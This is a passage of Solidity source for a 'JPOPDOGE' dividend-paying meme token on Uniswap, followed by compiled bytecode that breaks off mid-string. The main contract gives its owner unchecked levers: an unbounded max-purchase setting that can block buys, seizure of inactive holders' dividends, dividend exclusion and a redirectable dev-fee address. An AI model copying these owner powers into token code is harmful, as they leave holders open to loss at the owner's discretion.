uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract DividendPayingToken is ERC20, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 internal constant magnitude = 2**128; uint256 internal magnifiedDividendPerShare; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; uint256 public totalDividendsDistributed; constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) {} /// @dev Distributes dividends whenever ether is paid to this contract. receive() external payable { distributeDividends(); } /// @notice Distributes ether to token holders as dividends. /// @dev It reverts if the total supply of tokens is 0. /// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0. /// About undistributed ether: /// In each distribution, there is a small amount of ether not distributed, /// the magnified amount of which is /// `(msg.value * magnitude) % totalSupply()`. /// With a well-chosen `magnitude`, the amount of undistributed ether /// (de-magnified) in a distribution can be less than 1 wei. /// We can actually keep track of the undistributed ether in a distribution /// and try to distribute it in the next distribution, /// but keeping track of such data on-chain costs much more than /// the saved ether, so we don't do that. function distributeDividends() public payable override { require(totalSupply() > 0); if (msg.value > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add( (msg.value).mul(magnitude) / totalSupply() ); emit DividendsDistributed(msg.sender, msg.value); totalDividendsDistributed = totalDividendsDistributed.add( msg.value ); } } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function withdrawDividend() public virtual override { _withdrawDividendOfUser(msg.sender, msg.sender); } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function _withdrawDividendOfUser(address payable user, address payable to) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add( _withdrawableDividend ); emit DividendWithdrawn(user, _withdrawableDividend, to); (bool success, ) = to.call{value: _withdrawableDividend}(""); if (!success) { withdrawnDividends[user] = withdrawnDividends[user].sub( _withdrawableDividend ); return 0; } return _withdrawableDividend; } return 0; } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) public view override returns (uint256) { return withdrawableDividendOf(_owner); } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) public view override returns (uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) public view override returns (uint256) { return withdrawnDividends[_owner]; } /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) public view override returns (uint256) { return magnifiedDividendPerShare .mul(balanceOf(_owner)) .toInt256Safe() .add(magnifiedDividendCorrections[_owner]) .toUint256Safe() / magnitude; } /// @dev Internal function that mints tokens to an account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account that will receive the created tokens. /// @param value The amount that will be created. function _mint(address account, uint256 value) internal override { super._mint(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[ account ].sub((magnifiedDividendPerShare.mul(value)).toInt256Safe()); } /// @dev Internal function that burns an amount of the token of a given account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account whose tokens will be burnt. /// @param value The amount that will be burnt. function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[ account ].add((magnifiedDividendPerShare.mul(value)).toInt256Safe()); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if (newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if (newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } function getAccount(address _account) public view returns (uint256 _withdrawableDividends, uint256 _withdrawnDividends) { _withdrawableDividends = withdrawableDividendOf(_account); _withdrawnDividends = withdrawnDividends[_account]; } } contract JPOPDOGEDividendTracker is DividendPayingToken, Ownable { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; mapping(address => bool) public excludedFromDividends; uint256 public minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); constructor() public DividendPayingToken( "JPOPDOGE_Dividend_Tracker", "JPOPDOGE_Dividend_Tracker" ) { minimumTokenBalanceForDividends = 10000 * (10**18); //must hold 10000+ tokens } function _approve( address, address, uint256 ) internal override { require(false, "JPOPDOGE_Dividend_Tracker: No approvals allowed"); } function _transfer( address, address, uint256 ) internal override { require(false, "JPOPDOGE_Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public override { require( false, "JPOPDOGE_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main JPOPDOGE contract." ); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludeFromDividends(account); } function getNumberOfTokenHolders() external view returns (uint256) { return tokenHoldersMap.keys.length; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if (excludedFromDividends[account]) { return; } if (newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } } function processAccount(address payable account, address payable toAccount) public onlyOwner returns (uint256) { uint256 amount = _withdrawDividendOfUser(account, toAccount); return amount; } } contract JPOPDOGE is ERC20, Ownable { using SafeMath for uint256; IFTPAntiBot private antiBot; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; bool private reinvesting; bool public antibotEnabled = false; bool public maxPurchaseEnabled = true; JPOPDOGEDividendTracker public dividendTracker; address payable public devAddress = 0x6E106C8f3618D5abC69660B4d86A912c699Ad35b; uint256 public ethFee = 8; uint256 public devFee = 6; uint256 public totalFee = 14; uint256 public tradingStartTime = 1628091030; uint256 minimumTokenBalanceForDividends = 10000 * (10**18); //maximum purchase amount for initial launch uint256 maxPurchaseAmount = 5000000 * (10**18); // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; // addresses that can make transfers before presale is over mapping(address => bool) public canTransferBeforeTradingIsEnabled; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; // the last time an address transferred // used to detect if an account can be reinvest inactive funds to the vault mapping(address => uint256) public lastTransfer; event UpdateDividendTracker( address indexed newAddress, address indexed oldAddress ); event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event SendDividends(uint256 amount); event DividendClaimed( uint256 ethAmount, uint256 tokenAmount, address account ); constructor() public ERC20("JPOPDOGE", "JPOPDOGE") { IFTPAntiBot _antiBot = IFTPAntiBot( 0x590C2B20f7920A2D21eD32A21B616906b4209A43 ); antiBot = _antiBot; dividendTracker = new JPOPDOGEDividendTracker(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); // exclude from receiving dividends dividendTracker.excludeFromDividends(address(dividendTracker)); dividendTracker.excludeFromDividends(address(this)); dividendTracker.excludeFromDividends(owner()); dividendTracker.excludeFromDividends(address(_uniswapV2Router)); // exclude from paying fees or having max transaction amount excludeFromFees(address(this), true); excludeFromFees(owner(), true); // enable owner and fixed-sale wallet to send tokens before presales are over canTransferBeforeTradingIsEnabled[owner()] = true; _mint(owner(), 1000000000 * (10**18)); } receive() external payable {} function setTradingStartTime(uint256 newStartTime) public onlyOwner { require( tradingStartTime > block.timestamp, "Trading has already started" ); require( newStartTime > block.timestamp, "Start time must be in the future" ); tradingStartTime = newStartTime; } function updateDividendTracker(address newAddress) public onlyOwner { require( newAddress != address(dividendTracker), "JPOPDOGE: The dividend tracker already has that address" ); JPOPDOGEDividendTracker newDividendTracker = JPOPDOGEDividendTracker( payable(newAddress) ); require( newDividendTracker.owner() == address(this), "JPOPDOGE: The new dividend tracker must be owned by the JPOPDOGE token contract" ); newDividendTracker.excludeFromDividends(address(newDividendTracker)); newDividendTracker.excludeFromDividends(address(this)); newDividendTracker.excludeFromDividends(owner()); newDividendTracker.excludeFromDividends(address(uniswapV2Router)); emit UpdateDividendTracker(newAddress, address(dividendTracker)); dividendTracker = newDividendTracker; } function updateUniswapV2Router(address newAddress) public onlyOwner { require( newAddress != address(uniswapV2Router), "JPOPDOGE: The router already has that address" ); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); } function excludeFromFees(address account, bool excluded) public onlyOwner { require( _isExcludedFromFees[account] != excluded, "JPOPDOGE: Account is already the value of 'excluded'" ); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeMultipleAccountsFromFees( address[] memory accounts, bool excluded ) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFees[accounts[i]] = excluded; } emit ExcludeMultipleAccountsFromFees(accounts, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "JPOPDOGE: The UniSwap pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require( automatedMarketMakerPairs[pair] != value, "JPOPDOGE: Automated market maker pair is already set to that value" ); automatedMarketMakerPairs[pair] = value; if (value) { dividendTracker.excludeFromDividends(pair); } emit SetAutomatedMarketMakerPair(pair, value); } function allowPreTrading(address account, bool allowed) public onlyOwner { // used for owner and pre sale addresses require( canTransferBeforeTradingIsEnabled[account] != allowed, "JPOPDOGE: Pre trading is already the value of 'excluded'" ); canTransferBeforeTradingIsEnabled[account] = allowed; } function setMaxPurchaseEnabled(bool enabled) public onlyOwner { require( maxPurchaseEnabled != enabled, "JPOPDOGE: Max purchase enabled is already the value of 'enabled'" ); maxPurchaseEnabled = enabled; } function setMaxPurchaseAmount(uint256 newAmount) public onlyOwner { maxPurchaseAmount = newAmount; } function updateDevAddress(address payable newAddress) public onlyOwner { devAddress = newAddress; } function getTotalDividendsDistributed() external view returns (uint256) { return dividendTracker.totalDividendsDistributed(); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function withdrawableDividendOf(address account) public view returns (uint256) { return dividendTracker.withdrawableDividendOf(account); } function dividendTokenBalanceOf(address account) public view returns (uint256) { return dividendTracker.balanceOf(account); } function reinvestInactive(address payable account) public onlyOwner { uint256 tokenBalance = dividendTracker.balanceOf(account); require( tokenBalance <= minimumTokenBalanceForDividends, "JPOPDOGE: Account balance must be less then minimum token balance for dividends" ); uint256 _lastTransfer = lastTransfer[account]; require( block.timestamp.sub(_lastTransfer) > 12 weeks, "JPOPDOGE: Account must have been inactive for at least 12 weeks" ); dividendTracker.processAccount(account, address(this)); uint256 dividends = address(this).balance; (bool success, ) = address(dividendTracker).call{value: dividends}(""); if (success) { emit SendDividends(dividends); try dividendTracker.setBalance(account, 0) {} catch {} } } function claim(bool reinvest, uint256 minTokens) external { _claim(msg.sender, reinvest, minTokens); } function _claim( address payable account, bool reinvest, uint256 minTokens ) private { uint256 withdrawableAmount = dividendTracker.withdrawableDividendOf( account ); require( withdrawableAmount > 0, "JPOPDOGE: Claimer has no withdrawable dividend" ); if (!reinvest) { uint256 ethAmount = dividendTracker.processAccount( account, account ); if (ethAmount > 0) { emit DividendClaimed(ethAmount, 0, account); } return; } uint256 ethAmount = dividendTracker.processAccount( account, address(this) ); if (ethAmount > 0) { reinvesting = true; uint256 tokenAmount = swapEthForTokens( ethAmount, minTokens, account ); reinvesting = false; emit DividendClaimed(ethAmount, tokenAmount, account); } } function getNumberOfDividendTokenHolders() external view returns (uint256) { return dividendTracker.getNumberOfTokenHolders(); } function getAccount(address _account) public view returns ( uint256 withdrawableDividends, uint256 withdrawnDividends, uint256 balance ) { (withdrawableDividends, withdrawnDividends) = dividendTracker .getAccount(_account); return (withdrawableDividends, withdrawnDividends, balanceOf(_account)); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); // address must be permitted to transfer before tradingStartTime if (tradingStartTime > block.timestamp) { require( canTransferBeforeTradingIsEnabled[from], "JPOPDOGE: This account cannot send tokens until trading is enabled" ); } if (amount == 0) { super._transfer(from, to, 0); return; } if (antibotEnabled) { if (automatedMarketMakerPairs[from]) { require( !antiBot.scanAddress(to, from, tx.origin), "Beep Beep Boop, You're a piece of poop" ); } if (automatedMarketMakerPairs[to]) { require( !antiBot.scanAddress(from, to, tx.origin), "Beep Beep Boop, You're a piece of poop" ); } } // make sure amount does not exceed max on a purchase if (maxPurchaseEnabled && automatedMarketMakerPairs[from]) { require( amount <= maxPurchaseAmount, "JPOPDOGE: Exceeds max purchase amount" ); } if ( !swapping && !reinvesting && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapAndDistribute(); swapping = false; } bool takeFee = !swapping && !reinvesting; // if any account belongs to _isExcludedFromFee account then remove the fee // don't take a fee unless it's a buy / sell if ( (_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]) ) { takeFee = false; } if (takeFee) { uint256 fees = amount.mul(totalFee).div(100); amount = amount.sub(fees); super._transfer(from, address(this), fees); } super._transfer(from, to, amount); try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {} try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {} if (antibotEnabled) { try antiBot.registerBlock(from, to) {} catch {} } lastTransfer[from] = block.timestamp; lastTransfer[to] = block.timestamp; } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapEthForTokens( uint256 ethAmount, uint256 minTokens, address account ) internal returns (uint256) { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); uint256 balanceBefore = balanceOf(account); uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: ethAmount }(minTokens, path, account, block.timestamp); uint256 tokenAmount = balanceOf(account).sub(balanceBefore); return tokenAmount; } function swapAndDistribute() private { uint256 tokenBalance = balanceOf(address(this)); swapTokensForEth(tokenBalance); uint256 ethBalance = address(this).balance; uint256 devPortion = ethBalance.mul(devFee).div(totalFee); devAddress.transfer(devPortion); uint256 dividends = address(this).balance; (bool success, ) = address(dividendTracker).call{value: dividends}(""); if (success) { emit SendDividends(dividends); } } function assignAntiBot(address _address) external onlyOwner { IFTPAntiBot _antiBot = IFTPAntiBot(_address); antiBot = _antiBot; } function toggleAntiBot() external onlyOwner { if (antibotEnabled) { antibotEnabled = false; } else { antibotEnabled = true; } } function getDay() internal view returns (uint256) { return block.timestamp.div(1 days); } }
0x60806040526004361061028c5760003560e01c80636827e7641161015a578063a457c2d7116100c1578063c02466681161007a578063c024666814610977578063c492f046146109b2578063d505a36414610a64578063dd62ed3e14610a96578063f2fde38b14610ad1578063fbcbc0f114610b0457610293565b8063a457c2d714610860578063a5fa12f014610899578063a8b9d240146108c3578063a9059cbb146108f6578063af74ff5b1461092f578063b62496f51461094457610293565b80638503376211610113578063850337621461078057806388bdd9be146107b35780638da5cb5b146107e65780638db038f5146107fb57806395d89b41146108105780639a7a23d61461082557610293565b80636827e764146106a85780636843cd84146106bd57806370a08231146106f057806370b7b80c14610723578063715018a6146107385780637e0e155c1461074d57610293565b806339509351116101fe5780634fbee193116101b75780634fbee193146105945780635b6612ad146105c757806362caa704146105fa57806363c6ad761461062d57806364b0f6531461066057806365b8dbc01461067557610293565b806339509351146104dd5780633ad10ef61461051657806341bf9fdc1461052b57806349bd5a5e146105405780634cf1115d146105555780634ef901dc1461056a57610293565b80632354a17c116102505780632354a17c146103dc57806323b872dd1461040a5780632c1f52161461044d5780632f9c45691461046257806330bb4cff1461049d578063313ce567146104b257610293565b806306fdde0314610298578063095ea7b3146103225780631694505e1461036f57806318160ddd146103a05780631df4ccfc146103c757610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b55565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102e75781810151838201526020016102cf565b50505050905090810190601f1680156103145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032e57600080fd5b5061035b6004803603604081101561034557600080fd5b506001600160a01b038135169060200135610beb565b604080519115158252519081900360200190f35b34801561037b57600080fd5b50610384610c09565b604080516001600160a01b039092168252519081900360200190f35b3480156103ac57600080fd5b506103b5610c18565b60408051918252519081900360200190f35b3480156103d357600080fd5b506103b5610c1e565b3480156103e857600080fd5b50610408600480360360208110156103ff57600080fd5b50351515610c24565b005b34801561041657600080fd5b5061035b6004803603606081101561042d57600080fd5b506001600160a01b03813581169160208101359091169060400135610cea565b34801561045957600080fd5b50610384610d71565b34801561046e57600080fd5b506104086004803603604081101561048557600080fd5b506001600160a01b0381351690602001351515610d80565b3480156104a957600080fd5b506103b5610e61565b3480156104be57600080fd5b506104c7610ed7565b6040805160ff9092168252519081900360200190f35b3480156104e957600080fd5b5061035b6004803603604081101561050057600080fd5b506001600160a01b038135169060200135610edc565b34801561052257600080fd5b50610384610f2a565b34801561053757600080fd5b5061035b610f39565b34801561054c57600080fd5b50610384610f49565b34801561056157600080fd5b506103b5610f58565b34801561057657600080fd5b506104086004803603602081101561058d57600080fd5b5035610f5e565b3480156105a057600080fd5b5061035b600480360360208110156105b757600080fd5b50356001600160a01b0316611065565b3480156105d357600080fd5b506103b5600480360360208110156105ea57600080fd5b50356001600160a01b0316611083565b34801561060657600080fd5b506104086004803603602081101561061d57600080fd5b50356001600160a01b0316611095565b34801561063957600080fd5b506104086004803603602081101561065057600080fd5b50356001600160a01b031661110f565b34801561066c57600080fd5b506103b561140c565b34801561068157600080fd5b506104086004803603602081101561069857600080fd5b50356001600160a01b0316611451565b3480156106b457600080fd5b506103b5611553565b3480156106c957600080fd5b506103b5600480360360208110156106e057600080fd5b50356001600160a01b0316611559565b3480156106fc57600080fd5b506103b56004803603602081101561071357600080fd5b50356001600160a01b03166115dc565b34801561072f57600080fd5b506103b56115f7565b34801561074457600080fd5b506104086115fd565b34801561075957600080fd5b5061035b6004803603602081101561077057600080fd5b50356001600160a01b031661169f565b34801561078c57600080fd5b50610408600480360360208110156107a357600080fd5b50356001600160a01b03166116b4565b3480156107bf57600080fd5b50610408600480360360208110156107d657600080fd5b50356001600160a01b031661172e565b3480156107f257600080fd5b50610384611a85565b34801561080757600080fd5b5061035b611a94565b34801561081c57600080fd5b506102ad611aa4565b34801561083157600080fd5b506104086004803603604081101561084857600080fd5b506001600160a01b0381351690602001351515611b05565b34801561086c57600080fd5b5061035b6004803603604081101561088357600080fd5b506001600160a01b038135169060200135611bb8565b3480156108a557600080fd5b50610408600480360360208110156108bc57600080fd5b5035611c20565b3480156108cf57600080fd5b506103b5600480360360208110156108e657600080fd5b50356001600160a01b0316611c7d565b34801561090257600080fd5b5061035b6004803603604081101561091957600080fd5b506001600160a01b038135169060200135611cce565b34801561093b57600080fd5b50610408611ce2565b34801561095057600080fd5b5061035b6004803603602081101561096757600080fd5b50356001600160a01b0316611d74565b34801561098357600080fd5b506104086004803603604081101561099a57600080fd5b506001600160a01b0381351690602001351515611d89565b3480156109be57600080fd5b50610408600480360360408110156109d557600080fd5b8101906020810181356401000000008111156109f057600080fd5b820183602082011115610a0257600080fd5b80359060200191846020830284011164010000000083111715610a2457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050503515159050611e9f565b348015610a7057600080fd5b5061040860048036036040811015610a8757600080fd5b50803515159060200135611fd2565b348015610aa257600080fd5b506103b560048036036040811015610ab957600080fd5b506001600160a01b0381358116916020013516611fdd565b348015610add57600080fd5b5061040860048036036020811015610af457600080fd5b50356001600160a01b0316612008565b348015610b1057600080fd5b50610b3760048036036020811015610b2757600080fd5b50356001600160a01b0316612101565b60408051938452602084019290925282820152519081900360600190f35b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610be15780601f10610bb657610100808354040283529160200191610be1565b820191906000526020600020905b815481529060010190602001808311610bc457829003601f168201915b5050505050905090565b6000610bff610bf8612202565b8484612206565b5060015b92915050565b6007546001600160a01b031681565b60025490565b600d5481565b610c2c612202565b6005546001600160a01b03908116911614610c7c576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b60085460ff600160b81b9091041615158115151415610ccc5760405162461bcd60e51b81526004018080602001828103825260408152602001806139196040913960400191505060405180910390fd5b60088054911515600160b81b0260ff60b81b19909216919091179055565b6000610cf78484846122f2565b610d6784610d03612202565b610d6285604051806060016040528060288152602001613771602891396001600160a01b038a16600090815260016020526040812090610d41612202565b6001600160a01b0316815260208101919091526040016000205491906129a0565b612206565b5060019392505050565b6009546001600160a01b031681565b610d88612202565b6005546001600160a01b03908116911614610dd8576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526012602052604090205460ff1615158115151415610e365760405162461bcd60e51b81526004018080602001828103825260388152602001806138e16038913960400191505060405180910390fd5b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b600954604080516342d359d760e11b815290516000926001600160a01b0316916385a6b3ae916004808301926020929190829003018186803b158015610ea657600080fd5b505afa158015610eba573d6000803e3d6000fd5b505050506040513d6020811015610ed057600080fd5b5051905090565b601290565b6000610bff610ee9612202565b84610d628560016000610efa612202565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906121a1565b600a546001600160a01b031681565b600854600160b01b900460ff1681565b6008546001600160a01b031681565b600b5481565b610f66612202565b6005546001600160a01b03908116911614610fb6576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b42600e541161100c576040805162461bcd60e51b815260206004820152601b60248201527f54726164696e672068617320616c726561647920737461727465640000000000604482015290519081900360640190fd5b428111611060576040805162461bcd60e51b815260206004820181905260248201527f53746172742074696d65206d75737420626520696e2074686520667574757265604482015290519081900360640190fd5b600e55565b6001600160a01b031660009081526011602052604090205460ff1690565b60146020526000908152604090205481565b61109d612202565b6005546001600160a01b039081169116146110ed576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b611117612202565b6005546001600160a01b03908116911614611167576040805162461bcd60e51b81526020600482018190526024820152600080516020613799833981519152604482015290519081900360640190fd5b600954604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156111b857600080fd5b505afa1580156111cc573d6000803e3d6000fd5b505050506040513d60208110156111e257600080fd5b5051600f549091508111156112285760405162461bcd60e51b815260040180806020018281038252604f815260200180613722604